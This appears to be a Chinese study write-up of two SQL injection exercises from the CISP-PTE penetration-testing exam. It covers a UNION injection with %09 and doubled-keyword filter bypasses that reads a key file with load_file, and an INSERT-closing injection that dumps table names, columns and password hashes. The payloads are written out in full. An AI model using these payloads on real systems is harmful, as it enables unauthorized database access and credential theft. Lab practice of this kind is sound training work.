例一、基础SQL注入:load_file读文件
CISP-PTE 认证考试
首先是有单引号和括号的,首要是要闭合,然后回显点是在-1的位置,读取文件上面的key的话使用的是load_file('/tmp/360/key')
id=-1')%09ununionion%09select%091,2,3,load_file('/tmp/360/key')#
首先闭合,然后%09绕过空格,双写绕过关键字,load_file('/tmp/360/key')下载文件
例二、SQL注入:文章发布系统
http://49.232.193.10:81/start/post.php
进入主页之后,首先尝试万能密码登录,由于无法登陆,接着尝试注册用户,然后发布文章,该页面对文章的内容有一定的过滤
// 代码过滤规则
while (strstr($sql,'--')) {
$sql = str_replace("--", "", $sql);
}
while (strstr($sql,'#')) {
$sql = str_replace("#", "", $sql);
}
然后会在页面的下面回显内容如下,其中第2~4位为文章题目、文章内容、作者
insert article1 value('3506C3EA-7F34-28C6-E467-BD2645DA5E1A','1','1','1234rfv')
并有回显点——“成功” 字样
解题思路
1、让value通过 ')提前闭合(文章内容处),注意必须保证每一条都是四项内容
2、由于文章是使用插入一条数据的值,value(标题,内容,用户名)到数据库,可以同时插入两条内容:(标题,内容,用户名),(标题,内容,用户名)—— 使得第一条闭合,然后在第二条里面插入自己想要的语句3、最后通过查看文章发表页面获得回显的内容
首先将它变为两条语句:第一条是正常的文章发表语句,第二条是要获得回显的语句
1','1234rfv'),('123456','2','3
查询数据库名
1','1234rfv'),('1',database(),'select version()
union联合查询数据库下的表名
1','1234rfv'),('1',(select group_concat(table_name) from information_schema.tables where table_schema='2web'),'3
查询列名
1','1234rfv'),('1',(select group_concat(column_name) from information_schema.columns where table_name='users1'),'3
查询字段
1','1234rfv'),('1',(select password from users1 limit 0,1),'3
最后依次使用 limit(0,1)、limit(1,1)、limit(2,1)、limit(3,1) 切割查看所有的字段,结果均为:81dc9bdb52d04dc20036dbd8313ed055 (或者使用burp依次遍历)
flag{81dc9bdb52d04dc20036dbd8313ed055}